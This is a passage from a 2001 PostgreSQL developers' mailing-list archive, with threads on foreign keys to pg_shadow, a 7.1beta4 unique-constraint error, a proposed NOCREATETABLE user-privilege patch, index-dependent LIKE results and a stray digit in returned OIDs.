"msg_date": "Thu, 1 Feb 2001 11:45:37 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": true,
"msg_subject": "Re: Open 7.1 items"
}
] |
[
{
"msg_contents": "I suppose the below reference isn't intended to be done. But, I'd\nlike to extend the pg_shadow table to store information about the\ndatabase users and some of their actions (a history of changes).\n\nIs it safe to add a UNIQUE constraint to the usesysid or usename\ncolumns?\n\n\n\ntemp=# \\d pg_shadow\n\nTable \"pg_shadow\"\n\nAttribute | Type | Modifier\n\n-------------+---------+----------\n\nusename | name |\n\nusesysid | integer |\n\nusecreatedb | boolean |\n\nusetrace | boolean |\n\nusesuper | boolean |\n\nusecatupd | boolean |\n\npasswd | text |\n\nvaluntil | abstime |\n\ntemp=#\n\ntemp=# CREATE TABLE users (\n\ntemp(# pg_username name NOT NULL\n\ntemp(# REFERENCES pg_shadow(usesysid)\n\ntemp(# ON UPDATE CASCADE\n\ntemp(# ON DELETE RESTRICT\n\ntemp(# );\n\nNOTICE: CREATE TABLE will create implicit trigger(s) for FOREIGN KEY\ncheck(s)\n\nERROR: UNIQUE constraint matching given keys for referenced table\n\"pg_shadow\" not found\n\ntemp=#\n\n--\nRod Taylor\n\nThere are always four sides to every story: your side, their side, the\ntruth, and what really happened.",
"msg_date": "Mon, 29 Jan 2001 15:15:30 -0500",
"msg_from": "\"Rod Taylor\" <rod.taylor@inquent.com>",
"msg_from_op": true,
"msg_subject": "Foreign Key issue - pg_shadow"
},
{
"msg_contents": "\"Rod Taylor\" <rod.taylor@inquent.com> writes:\n> I suppose the below reference isn't intended to be done. But, I'd\n> like to extend the pg_shadow table to store information about the\n> database users and some of their actions (a history of changes).\n> Is it safe to add a UNIQUE constraint to the usesysid or usename\n> columns?\n\nYou can't do either of those things, at least not without modifying\ncode in the backend. The code that manipulates pg_shadow entries knows\nexactly what indexes exist on the table, so you can't just go and create\nmore. Also, that code will not fire triggers, so even if the correct\nunique index existed, you would not get correct referential integrity\nbehavior.\n\nHowever, it does seem like an oversight that we don't use unique indexes\nto enforce uniqueness of usename and usesysid. Too late to fix it for\n7.1 (unless we want to force another initdb), but it ought to get fixed.\nBruce, a TODO item please?\n\n\t\t\tregards, tom lane\n",
"msg_date": "Mon, 05 Feb 2001 21:41:18 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: Foreign Key issue - pg_shadow "
},
{
"msg_contents": "> \"Rod Taylor\" <rod.taylor@inquent.com> writes:\n> > I suppose the below reference isn't intended to be done. But, I'd\n> > like to extend the pg_shadow table to store information about the\n> > database users and some of their actions (a history of changes).\n> > Is it safe to add a UNIQUE constraint to the usesysid or usename\n> > columns?\n> \n> You can't do either of those things, at least not without modifying\n> code in the backend. The code that manipulates pg_shadow entries knows\n> exactly what indexes exist on the table, so you can't just go and create\n> more. Also, that code will not fire triggers, so even if the correct\n> unique index existed, you would not get correct referential integrity\n> behavior.\n> \n> However, it does seem like an oversight that we don't use unique indexes\n> to enforce uniqueness of usename and usesysid. Too late to fix it for\n> 7.1 (unless we want to force another initdb), but it ought to get fixed.\n> Bruce, a TODO item please?\n\nAdded to TODO:\n\n\t* Add unique indexes to pg_shadow.usename and pg_shadow.usesysid\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Mon, 5 Feb 2001 23:31:31 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: Foreign Key issue - pg_shadow"
}
] |
[
{
"msg_contents": "I cannot create a certain table in 7.1beta4. With 7.0.2 there was not any\nproblem.\n\n------------------------------------------------------------------------------\nCREATE TABLE pakolas_cikktetel (\n pakolas int4 not null,\n cikk int4 not null,\n minoseg int4 not null,\n sorszam int4 check (sorszam > 0),\n helyrol int4,\n helyre int4,\n mennyi numeric(14,4) not null ,\n lezarva bool default 'f',\n primary key (pakolas, cikk, minoseg, sorszam),\n unique (pakolas, cikk, minoseg, helyrol, helyre));\n\nCREATE TABLE keszlet_bevetel (\n keszletnovekedes int4 not null primary key,\n pakolas int4 not null,\n cikk int4 not null,\n minoseg int4 NOT NULL,\n foreign key (pakolas, cikk, minoseg)\n\treferences pakolas_cikktetel(pakolas, cikk, minoseg));\n------------------------------------------------------------------------------\n\nHere I get the following error:\n\nERROR: UNIQUE constraint matching given keys for referenced table \n\"pakolas_cikktetel\" not found\n\n(The second table will not be created.)\n\nBy the way, is it possible generating patches between beta releases and\nputting on the ftp server?\n\nTIA, Zoltan\n\n",
"msg_date": "Mon, 29 Jan 2001 22:07:15 +0100 (CET)",
"msg_from": "Kovacs Zoltan <kovacsz@pc10.radnoti-szeged.sulinet.hu>",
"msg_from_op": true,
"msg_subject": "7.1beta4 bug creating a certain table"
},
{
"msg_contents": "Kovacs Zoltan <kovacsz@pc10.radnoti-szeged.sulinet.hu> writes:\n> CREATE TABLE pakolas_cikktetel (\n> pakolas int4 not null,\n> cikk int4 not null,\n> minoseg int4 not null,\n> sorszam int4 check (sorszam > 0),\n> helyrol int4,\n> helyre int4,\n> mennyi numeric(14,4) not null ,\n> lezarva bool default 'f',\n> primary key (pakolas, cikk, minoseg, sorszam),\n> unique (pakolas, cikk, minoseg, helyrol, helyre));\n\n> CREATE TABLE keszlet_bevetel (\n> keszletnovekedes int4 not null primary key,\n> pakolas int4 not null,\n> cikk int4 not null,\n> minoseg int4 NOT NULL,\n> foreign key (pakolas, cikk, minoseg)\n> \treferences pakolas_cikktetel(pakolas, cikk, minoseg));\n\n> ERROR: UNIQUE constraint matching given keys for referenced table \n> \"pakolas_cikktetel\" not found\n\nIt appears to me that this is correct, since there is no constraint\non the first column that says that those three columns form a unique\nkey *by themselves*. I believe there were bugs in the code that checked\nfor this error before ...\n\n\t\t\tregards, tom lane\n",
"msg_date": "Mon, 29 Jan 2001 17:32:52 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: 7.1beta4 bug creating a certain table "
},
{
"msg_contents": "On Mon, 29 Jan 2001, Tom Lane wrote:\n\n> Kovacs Zoltan <kovacsz@pc10.radnoti-szeged.sulinet.hu> writes:\n> > CREATE TABLE pakolas_cikktetel (\n> > pakolas int4 not null,\n> > cikk int4 not null,\n> > minoseg int4 not null,\n> > sorszam int4 check (sorszam > 0),\n> > helyrol int4,\n> > helyre int4,\n> > mennyi numeric(14,4) not null ,\n> > lezarva bool default 'f',\n> > primary key (pakolas, cikk, minoseg, sorszam),\n> > unique (pakolas, cikk, minoseg, helyrol, helyre));\n> \n> > CREATE TABLE keszlet_bevetel (\n> > keszletnovekedes int4 not null primary key,\n> > pakolas int4 not null,\n> > cikk int4 not null,\n> > minoseg int4 NOT NULL,\n> > foreign key (pakolas, cikk, minoseg)\n> > \treferences pakolas_cikktetel(pakolas, cikk, minoseg));\n> \n> > ERROR: UNIQUE constraint matching given keys for referenced table \n> > \"pakolas_cikktetel\" not found\n> \n> It appears to me that this is correct, since there is no constraint\n> on the first column that says that those three columns form a unique\n> key *by themselves*. I believe there were bugs in the code that checked\n> for this error before ...\n> \n> \t\t\tregards, tom lane\n> \nI don't know the exact SQL definition whether my declaration is correct or\nnot. But, checking our model, we realized that our implementation is not\ncorrect. So I should rewrite these definitions. Thanks! :-)\n\nBut, if this declaration is not correct in the sense of SQL standards, I\ncan imagine that PostgreSQL may allow such declarations. (A NOTICE may be\ngiven instead of an ERROR.) Or, are there any drawbacks of allowing this?\n\nZoltan\n-- \n Kov\\'acs, Zolt\\'an\n kovacsz@pc10.radnoti-szeged.sulinet.hu\n http://www.math.u-szeged.hu/~kovzol\n ftp://pc10.radnoti-szeged.sulinet.hu/home/kovacsz\n\n",
"msg_date": "Tue, 30 Jan 2001 17:55:53 +0100 (CET)",
"msg_from": "Kovacs Zoltan <kovacsz@pc10.radnoti-szeged.sulinet.hu>",
"msg_from_op": true,
"msg_subject": "Re: 7.1beta4 bug creating a certain table "
},
{
"msg_contents": "On Tue, 30 Jan 2001, Kovacs Zoltan wrote:\n\n> > It appears to me that this is correct, since there is no constraint\n> > on the first column that says that those three columns form a unique\n> > key *by themselves*. I believe there were bugs in the code that checked\n> > for this error before ...\n> > \n> > \t\t\tregards, tom lane\n> > \n> I don't know the exact SQL definition whether my declaration is correct or\n> not. But, checking our model, we realized that our implementation is not\n> correct. So I should rewrite these definitions. Thanks! :-)\n> \n> But, if this declaration is not correct in the sense of SQL standards, I\n> can imagine that PostgreSQL may allow such declarations. (A NOTICE may be\n> given instead of an ERROR.) Or, are there any drawbacks of allowing this?\n\nYes. The columns *must* be unique because the logic that the foreign keys\nare defined to use doesn't really make sense for match unspecified and\nmatch full if they can have duplicates.\n\nYou'd need logic like that for match partial for all of the cases for it\nto really make sense. For example, if you can have two pk rows with key\nvalues (1,2) and a fk row (1,2) and you update one of the two pk rows to\n(2,3) what happens on an on update cascade? Match partial still\n\"requires\" that the keys be unique but since fk rows can already match\nmore than one pk row it's probably not as big a deal. Of course, match\npartial is a real pain because you need to keep stuff around about what\n*other* rows were modified during the statement while you're running the\ntrigger.\n\n",
"msg_date": "Tue, 30 Jan 2001 10:19:17 -0800 (PST)",
"msg_from": "Stephan Szabo <sszabo@megazone23.bigpanda.com>",
"msg_from_op": false,
"msg_subject": "Re: 7.1beta4 bug creating a certain table "
},
{
"msg_contents": "Hi, I ran the same code on 7.1beta 3 and it works... I don't have beta4\ninstalled...\n\nnewdb=# CREATE TABLE pakolas_cikktetel (\nnewdb(# pakolas int4 not null,\nnewdb(# cikk int4 not null,\nnewdb(# minoseg int4 not null,\nnewdb(# sorszam int4 check (sorszam > 0),\nnewdb(# helyrol int4,\nnewdb(# helyre int4,\nnewdb(# mennyi numeric(14,4) not null ,\nnewdb(# lezarva bool default 'f',\nnewdb(# primary key (pakolas, cikk, minoseg, sorszam),\nnewdb(# unique (pakolas, cikk, minoseg, helyrol, helyre));\nNOTICE: CREATE TABLE/PRIMARY KEY will create implicit index\n'pakolas_cikktetel_pkey' for table 'pakolas_cikktetel'\nNOTICE: CREATE TABLE/UNIQUE will create implicit index\n'pakolas_cikktetel_pakolas_key' for table 'pakolas_cikktetel'\nCREATE\nNajm\n\nKovacs Zoltan wrote:\n\n> I cannot create a certain table in 7.1beta4. With 7.0.2 there was not any\n> problem.\n>\n> ------------------------------------------------------------------------------\n> CREATE TABLE pakolas_cikktetel (\n> pakolas int4 not null,\n> cikk int4 not null,\n> minoseg int4 not null,\n> sorszam int4 check (sorszam > 0),\n> helyrol int4,\n> helyre int4,\n> mennyi numeric(14,4) not null ,\n> lezarva bool default 'f',\n> primary key (pakolas, cikk, minoseg, sorszam),\n> unique (pakolas, cikk, minoseg, helyrol, helyre));\n>\n> CREATE TABLE keszlet_bevetel (\n> keszletnovekedes int4 not null primary key,\n> pakolas int4 not null,\n> cikk int4 not null,\n> minoseg int4 NOT NULL,\n> foreign key (pakolas, cikk, minoseg)\n> references pakolas_cikktetel(pakolas, cikk, minoseg));\n> ------------------------------------------------------------------------------\n>\n> Here I get the following error:\n>\n> ERROR: UNIQUE constraint matching given keys for referenced table\n> \"pakolas_cikktetel\" not found\n>\n> (The second table will not be created.)\n>\n> By the way, is it possible generating patches between beta releases and\n> putting on the ftp server?\n>\n> TIA, Zoltan\n\n",
"msg_date": "Tue, 30 Jan 2001 16:36:38 -0500",
"msg_from": "Najm Hashmi <najm@mondo-live.com>",
"msg_from_op": false,
"msg_subject": "Re: [SQL] 7.1beta4 bug creating a certain table"
}
] |
[
{
"msg_contents": "Addison-Wesley has decided to do a second printing of my book. They\nwill print another 5k copies to add to the first printing of 6k copies.\n\n\thttp://www.postgresql.org/docs/awbook.html\n\nThanks to those who purchased the book.\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Mon, 29 Jan 2001 16:54:52 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": true,
"msg_subject": "Book enters second printing"
},
{
"msg_contents": "On Mon, Jan 29, 2001 at 04:54:52PM -0500, Bruce Momjian wrote:\n> Addison-Wesley has decided to do a second printing of my book. They\n> will print another 5k copies to add to the first printing of 6k copies.\n> \n> \thttp://www.postgresql.org/docs/awbook.html\n> \n> Thanks to those who purchased the book.\n\nLet me know if the catalog entries have changed and I will put the correct catalog\nentry at php.net/books.php. \n\n-Egon\n\n-- \nhttp://www.linuxtag.de/\nhttp://php.net/books.php \nhttp://www.concert-band.de/\nhttp://www.php-buch.de/\n",
"msg_date": "Mon, 29 Jan 2001 23:13:27 +0100",
"msg_from": "eschmid+sic@s.netic.de",
"msg_from_op": false,
"msg_subject": "Re: [HACKERS] Book enters second printing"
}
] |
[
{
"msg_contents": "\nOn Fri, 26 Jan 2001, [koi8-r] ������ �. ������� wrote:\n\n> Good Day, Dear Karel Zak!\n> \n> Please, forgive me for my bad english and if i do not right with your \n> day time.\n\nmy English is more poor :-) \n\n You are right, it is (was?) in TODO and it will implemented - I hope - \nin some next release (may be in 7.2 during ACL overhaul, Peter?). \n\nBefore some time I wrote patch that resolve it for 7.0.2 (anyone -\nI forgot his name..) port it to 7.0.2, my original patch was for 7.0.0. \nMay be will possible use it for last stable 7.0.3 too. \n\nThe patch is at:\n\t ftp://ftp2.zf.jcu.cz/users/zakkr/pg/7.0.2-user.patch.gz\n\nThis patch add to 7.0.2 code NOCREATETABLE and NOLOCKTABLE feature:\n\nCREATE USER username\n [ WITH\n [ SYSID uid ]\n [ PASSWORD 'password' ] ]\n [ CREATEDB | NOCREATEDB ] [ CREATEUSER | NOCREATEUSER ]\n-> [ CREATETABLE | NOCREATETABLE ] [ LOCKTABLE | NOLOCKTABLE ]\n ...etc.\n\n If CREATETABLE or LOCKTABLE is not specific in CREATE USER command,\nas default is set CREATETABLE or LOCKTABLE (true).\n\n\n But, don't forget - it's temporarily solution, I hope that some next\nrelease resolve it more systematic. More is in the patche@postgresql.org\narchive where was send original patch.\n\n Because you are not first person that ask me, I re-post (CC:) it to \nhackers@postgresql.org, more admins happy with this :-)\n \n\t\t\t\tKarel\n\n> I want to ask You about \"access control over who can create tables and \n> use locks in PostgreSQL\". This message was placed in PostgreSQL site \n> TODO list. But now it was deleted. I so need help about this question, \n> becouse i'll making a site witch will give hosting for our users. \n> And i want to make a PostgreSQL access to their own databases. But there \n> is (how You now) one problem. Anyone user may to connect to the different\n> user database and he may to create himself tables.\n> I don't like it.\n\n\n",
"msg_date": "Mon, 29 Jan 2001 23:37:08 +0100 (CET)",
"msg_from": "Karel Zak <zakkr@zf.jcu.cz>",
"msg_from_op": true,
"msg_subject": "NOCREATETABLE patch (was: Re: Please, help!(about Postgres))"
},
{
"msg_contents": "\nCan someone remind me what we are going to do with this?\n\n\n[ Charset ISO-8859-2 unsupported, converting... ]\n> \n> On Fri, 26 Jan 2001, [koi8-r] ______ _. _______ wrote:\n> \n> > Good Day, Dear Karel Zak!\n> > \n> > Please, forgive me for my bad english and if i do not right with your \n> > day time.\n> \n> my English is more poor :-) \n> \n> You are right, it is (was?) in TODO and it will implemented - I hope - \n> in some next release (may be in 7.2 during ACL overhaul, Peter?). \n> \n> Before some time I wrote patch that resolve it for 7.0.2 (anyone -\n> I forgot his name..) port it to 7.0.2, my original patch was for 7.0.0. \n> May be will possible use it for last stable 7.0.3 too. \n> \n> The patch is at:\n> \t ftp://ftp2.zf.jcu.cz/users/zakkr/pg/7.0.2-user.patch.gz\n> \n> This patch add to 7.0.2 code NOCREATETABLE and NOLOCKTABLE feature:\n> \n> CREATE USER username\n> [ WITH\n> [ SYSID uid ]\n> [ PASSWORD 'password' ] ]\n> [ CREATEDB | NOCREATEDB ] [ CREATEUSER | NOCREATEUSER ]\n> -> [ CREATETABLE | NOCREATETABLE ] [ LOCKTABLE | NOLOCKTABLE ]\n> ...etc.\n> \n> If CREATETABLE or LOCKTABLE is not specific in CREATE USER command,\n> as default is set CREATETABLE or LOCKTABLE (true).\n> \n> \n> But, don't forget - it's temporarily solution, I hope that some next\n> release resolve it more systematic. More is in the patche@postgresql.org\n> archive where was send original patch.\n> \n> Because you are not first person that ask me, I re-post (CC:) it to \n> hackers@postgresql.org, more admins happy with this :-)\n> \n> \t\t\t\tKarel\n> \n> > I want to ask You about \"access control over who can create tables and \n> > use locks in PostgreSQL\". This message was placed in PostgreSQL site \n> > TODO list. But now it was deleted. I so need help about this question, \n> > becouse i'll making a site witch will give hosting for our users. \n> > And i want to make a PostgreSQL access to their own databases. But there \n> > is (how You now) one problem. Anyone user may to connect to the different\n> > user database and he may to create himself tables.\n> > I don't like it.\n> \n> \n> \n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Mon, 7 May 2001 14:48:11 -0400 (EDT)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: NOCREATETABLE patch (was: Re: Please, help!(about Postgres))"
},
{
"msg_contents": "Bruce Momjian <pgman@candle.pha.pa.us> writes:\n> Can someone remind me what we are going to do with this?\n\nI'd like to see some effort put into implementing the SQL-standard\nprivilege model, rather than adding yet more ad-hoc user properties.\nThe more of these we make, the more painful it's going to be to meet\nthe spec later.\n\nPossibly, after we have the SQL semantics we'll still feel that we\nneed some additional features ... but how about spec first and\nextensions afterwards?\n\n\t\t\tregards, tom lane\n",
"msg_date": "Mon, 07 May 2001 17:33:42 -0400",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: NOCREATETABLE patch (was: Re: Please, help!(about Postgres)) "
},
{
"msg_contents": "\nI have added this to the TODO.detail/privileges file. We can work from\nthere to decide what needs to be in 7.2.\n\n[ Charset ISO-8859-2 unsupported, converting... ]\n> \n> On Fri, 26 Jan 2001, [koi8-r] ______ _. _______ wrote:\n> \n> > Good Day, Dear Karel Zak!\n> > \n> > Please, forgive me for my bad english and if i do not right with your \n> > day time.\n> \n> my English is more poor :-) \n> \n> You are right, it is (was?) in TODO and it will implemented - I hope - \n> in some next release (may be in 7.2 during ACL overhaul, Peter?). \n> \n> Before some time I wrote patch that resolve it for 7.0.2 (anyone -\n> I forgot his name..) port it to 7.0.2, my original patch was for 7.0.0. \n> May be will possible use it for last stable 7.0.3 too. \n> \n> The patch is at:\n> \t ftp://ftp2.zf.jcu.cz/users/zakkr/pg/7.0.2-user.patch.gz\n> \n> This patch add to 7.0.2 code NOCREATETABLE and NOLOCKTABLE feature:\n> \n> CREATE USER username\n> [ WITH\n> [ SYSID uid ]\n> [ PASSWORD 'password' ] ]\n> [ CREATEDB | NOCREATEDB ] [ CREATEUSER | NOCREATEUSER ]\n> -> [ CREATETABLE | NOCREATETABLE ] [ LOCKTABLE | NOLOCKTABLE ]\n> ...etc.\n> \n> If CREATETABLE or LOCKTABLE is not specific in CREATE USER command,\n> as default is set CREATETABLE or LOCKTABLE (true).\n> \n> \n> But, don't forget - it's temporarily solution, I hope that some next\n> release resolve it more systematic. More is in the patche@postgresql.org\n> archive where was send original patch.\n> \n> Because you are not first person that ask me, I re-post (CC:) it to \n> hackers@postgresql.org, more admins happy with this :-)\n> \n> \t\t\t\tKarel\n> \n> > I want to ask You about \"access control over who can create tables and \n> > use locks in PostgreSQL\". This message was placed in PostgreSQL site \n> > TODO list. But now it was deleted. I so need help about this question, \n> > becouse i'll making a site witch will give hosting for our users. \n> > And i want to make a PostgreSQL access to their own databases. But there \n> > is (how You now) one problem. Anyone user may to connect to the different\n> > user database and he may to create himself tables.\n> > I don't like it.\n> \n> \n> \n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Tue, 8 May 2001 15:22:08 -0400 (EDT)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: NOCREATETABLE patch (was: Re: Please, help!(about Postgres))"
},
{
"msg_contents": "On Mon, May 07, 2001 at 02:48:11PM -0400, Bruce Momjian wrote:\n> \n> Can someone remind me what we are going to do with this?\n> \n> > This patch add to 7.0.2 code NOCREATETABLE and NOLOCKTABLE feature:\n\n\n It's my old patch, it's usable and some people use it for 7.0.x. But \nit's really temporary solution and it was 1 day in official CVS :-) \nWe remove it after discussion with Peter E. More correct will implement \nbetter privilege system.\n\n A privilege system is *very* important for real multiuser and \nsophisticated systems. For example if you compare PostgreSQL with Oracle, \nthe PostgreSQL is really not winner in this part. Peter has some idea\nabout it and Jan sent something about it too, but I not sure if somebody\nworks on this and plannig it for some next release (or...? -- will good \nif I not right:-) \n\n\t\t\tKarel \n",
"msg_date": "Wed, 9 May 2001 11:12:35 +0200",
"msg_from": "Karel Zak <zakkr@zf.jcu.cz>",
"msg_from_op": true,
"msg_subject": "Re: NOCREATETABLE patch (was: Re: Please, help!(about Postgres))"
},
{
"msg_contents": "> It's my old patch, it's usable and some people use it for 7.0.x. But \n> it's really temporary solution and it was 1 day in official CVS :-) \n> We remove it after discussion with Peter E. More correct will implement \n> better privilege system.\n> \n> A privilege system is *very* important for real multiuser and \n> sophisticated systems. For example if you compare PostgreSQL with Oracle, \n> the PostgreSQL is really not winner in this part. Peter has some idea\n> about it and Jan sent something about it too, but I not sure if somebody\n> works on this and plannig it for some next release (or...? -- will good \n> if I not right:-) \n\nIf we can get something more sophisticated in 7.2, great. If not, we\nmay have to apply it later.\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Wed, 9 May 2001 09:33:20 -0400 (EDT)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: NOCREATETABLE patch (was: Re: Please, help!(about Postgres))"
}
] |
[
{
"msg_contents": "> Subject: like vs '='\n> \n> I have a function to transform text into a\n> pseudo-metaphone variable, take this\n> example:\n> \n> cddbsql=# select song, metatext(song) from cdsongs\n> where metatext(song) like\n> metatext('born to run') limit 3 ;\n> song | metatext\n> -------------+----------\n> Born To Run | brntorn\n> Born To Run | brntorn\n> Born To Run | brntorn\n> (3 rows)\n> \n> Here is the problem: Depending on whether there is\n> an index or not, 'like'\n> behaves differently. Here is a transcript:\n> \n> cddbsql=# select song, metatext(song) from cdsongs\n> where metatext(song) like\n> metatext('born to run') limit 1 ;\n> song | metatext\n> -------------+----------\n> Born To Run | brntorn\n> (1 row)\n> \n> cddbsql=# create index cdsongs_meta_song on cdsongs\n> (metatext(song)) ;\n> CREATE\n> cddbsql=# select song, metatext(song) from cdsongs\n> where metatext(song) like\n> metatext('born to run') limit 1 ;\n> song | metatext\n> ------+----------\n> (0\n> rows)\n> \n> \n> This happens in both 7.0 and\n> 7.1.\n> -- \n> http://www.mohawksoft.com\n> \n\n\n__________________________________________________\nDo You Yahoo!?\nYahoo! Auctions - Buy the things you want at great prices. \nhttp://auctions.yahoo.com/\n",
"msg_date": "Mon, 29 Jan 2001 17:34:37 -0800 (PST)",
"msg_from": "m w <mttf2000@yahoo.com>",
"msg_from_op": true,
"msg_subject": "Subject: like vs '='"
}
] |
[
{
"msg_contents": "I have a function to transform text into a\npseudo-metaphone variable, take this\nexample:\n\ncddbsql=# select song, metatext(song) from cdsongs\nwhere metatext(song) like\nmetatext('born to run') limit 3 ;\n song | metatext\n-------------+----------\n Born To Run | brntorn\n Born To Run | brntorn\n Born To Run | brntorn\n(3 rows)\n\nHere is the problem: Depending on whether there is an\nindex or not, 'like'\nbehaves differently. Here is a transcript:\n\ncddbsql=# select song, metatext(song) from cdsongs\nwhere metatext(song) like\nmetatext('born to run') limit 1 ;\n song | metatext\n-------------+----------\n Born To Run | brntorn\n(1 row)\n \ncddbsql=# create index cdsongs_meta_song on cdsongs\n(metatext(song)) ;\nCREATE\ncddbsql=# select song, metatext(song) from cdsongs\nwhere metatext(song) like\nmetatext('born to run') limit 1 ;\n song | metatext\n------+----------\n(0\nrows)\n \n\nThis happens in both 7.0 and\n7.1.\n\n__________________________________________________\nGet personalized email addresses from Yahoo! Mail - only $35 \na year! http://personal.mail.yahoo.com/\n",
"msg_date": "Mon, 29 Jan 2001 18:54:01 -0800 (PST)",
"msg_from": "m w <mttf2000@yahoo.com>",
"msg_from_op": true,
"msg_subject": "Like vs '='"
},
{
"msg_contents": "Hi there,\n\n I am compiling postgresql 7.1beta4. How would i change the default 8k\nrow limit? \n\n-- \n Manny C. Cabido\n ====================================\n e-mail:manny@tinago.msuiit.edu.ph\n manny@sun.msuiit.edu.ph\n =====================================\n\n",
"msg_date": "Tue, 30 Jan 2001 11:18:45 +0800 (PHT)",
"msg_from": "Manuel Cabido <manny@msuiit.edu.ph>",
"msg_from_op": false,
"msg_subject": "Re: Like vs '='"
},
{
"msg_contents": "There isn't any row or query size limit in 7.1 thanks to TOAST! \n\n-Mitch\n\n\n----- Original Message ----- \nFrom: \"Manuel Cabido\" <manny@msuiit.edu.ph>\nTo: \"m w\" <mttf2000@yahoo.com>\nCc: <pgsql-hackers@postgresql.org>\nSent: Monday, January 29, 2001 10:18 PM\nSubject: Re: Like vs '='\n\n\n> Hi there,\n> \n> I am compiling postgresql 7.1beta4. How would i change the default 8k\n> row limit? \n> \n> -- \n> Manny C. Cabido\n> ====================================\n> e-mail:manny@tinago.msuiit.edu.ph\n> manny@sun.msuiit.edu.ph\n> =====================================\n> \n> \n\n",
"msg_date": "Mon, 5 Feb 2001 13:00:44 -0500",
"msg_from": "\"Mitch Vincent\" <mitch@venux.net>",
"msg_from_op": false,
"msg_subject": "Re: Like vs '='"
}
] |
[
{
"msg_contents": "Dear Sir.\nWould you like to inform me how to modify type in table?\nFor example , I define type as varchar(14) , but I want to modify to varchar(120). How to do this.\n\nThank you so much\nJaruwan\n\n\n\n\n\n\n\nDear Sir.\nWould you like to inform me how to modify type \nin table?\nFor example , I define type as varchar(14) , but \nI want to modify to varchar(120). How to do this.\n \nThank you so much\nJaruwan",
"msg_date": "Tue, 30 Jan 2001 10:22:23 +0700",
"msg_from": "\"Jaruwan Laongmal\" <jaruwan@gits.net.th>",
"msg_from_op": true,
"msg_subject": "How to modify type in table?"
},
{
"msg_contents": "Hi there,\n\n I am compiling postgresql 7.1beta4. How would i change the 8k row\nlimit?\n\n-- \n Manny C. Cabido\n ====================================\n e-mail:manny@tinago.msuiit.edu.ph\n manny@sun.msuiit.edu.ph\n =====================================\n\n",
"msg_date": "Tue, 30 Jan 2001 11:49:41 +0800 (PHT)",
"msg_from": "Manuel Cabido <manny@msuiit.edu.ph>",
"msg_from_op": false,
"msg_subject": "Re: How to modify type in table?"
},
{
"msg_contents": "Saluton,\n\nOn Tue, Jan 30, 2001 at 10:22:23AM +0700, Jaruwan Laongmal wrote:\n> Dear Sir.\n> Would you like to inform me how to modify type in table?\n> For example , I define type as varchar(14) , but I want to modify to varchar(120). How to do this.\n\nIf it is not too much data, the easiest would be to use pg_dump to\ndump the database (or just the table), edit the definition, and feed\nthe changed file to psql in order to get the data back. Or you can\ncreate a different table with the correct structure, copy the data\nthere, drop the old table, rename the new one to the correct one.\n\nAlbert.\n\n\n-- \n\n--------------------------------------------------------------------------\nAlbert Reiner <areiner@tph.tuwien.ac.at>\nDeutsch * English * Esperanto * Latine\n--------------------------------------------------------------------------\n",
"msg_date": "Mon, 5 Feb 2001 18:39:19 +0100",
"msg_from": "\"Albert REINER\" <areiner@tph.tuwien.ac.at>",
"msg_from_op": false,
"msg_subject": "Re: How to modify type in table?"
},
{
"msg_contents": "> I am compiling postgresql 7.1beta4. How would i change the 8k row\n> limit?\n\nThere is no 8k row limit anymore. But if there were, you would modify a\n#define in the source code and recompile (check the docs for more\ndetails).\n\n - Thomas\n",
"msg_date": "Tue, 06 Feb 2001 04:48:47 +0000",
"msg_from": "Thomas Lockhart <lockhart@alumni.caltech.edu>",
"msg_from_op": false,
"msg_subject": "Re: How to modify type in table?"
}
] |
[
{
"msg_contents": "This is very odd. I have a database app failing sometimes with an error\nwhen I try to get back my inserted row. I do this to get all the fields\nthat were adjusted for defaults, triggers and rules. On an insert query\nI expect to get the OID of the just inserted tuple. Once in a while I\nget the wrong value. Here are two examples.\n\nGet: 31930584, should be 3193058\nGet: 31943386, should be 3194338\n\nAs you can see, there is an extra digit added. I am using PQoidStatus()\nto get the OID. Is this the right way? Is it possible that there is\na buffer/terminating problem in the insert code? I assume that most\npeople are not examining this value so it may be that something slipped\nthrough. Anyone else ever seen this?\n\n-- \nD'Arcy J.M. Cain <darcy@{druid|vex}.net> | Democracy is three wolves\nhttp://www.druid.net/darcy/ | and a sheep voting on\n+1 416 425 1212 (DoD#0082) (eNTP) | what's for dinner.\n",
"msg_date": "Mon, 29 Jan 2001 22:47:31 -0500 (EST)",
"msg_from": "darcy@druid.net (D'Arcy J.M. Cain)",
"msg_from_op": true,
"msg_subject": "OID from insert has extra letter"
},
{
